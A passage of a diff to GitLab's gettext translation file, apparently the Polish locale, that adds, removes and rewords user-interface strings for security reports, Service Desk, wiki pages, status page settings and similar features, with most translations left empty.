msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Przetwarzanie pokrycia testowego"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr "Zbiór danych pseudonimizera jest wyłączony. Po włączeniu GitLab uru
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Nie ma jeszcze projektów zarchiwizowanych"
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
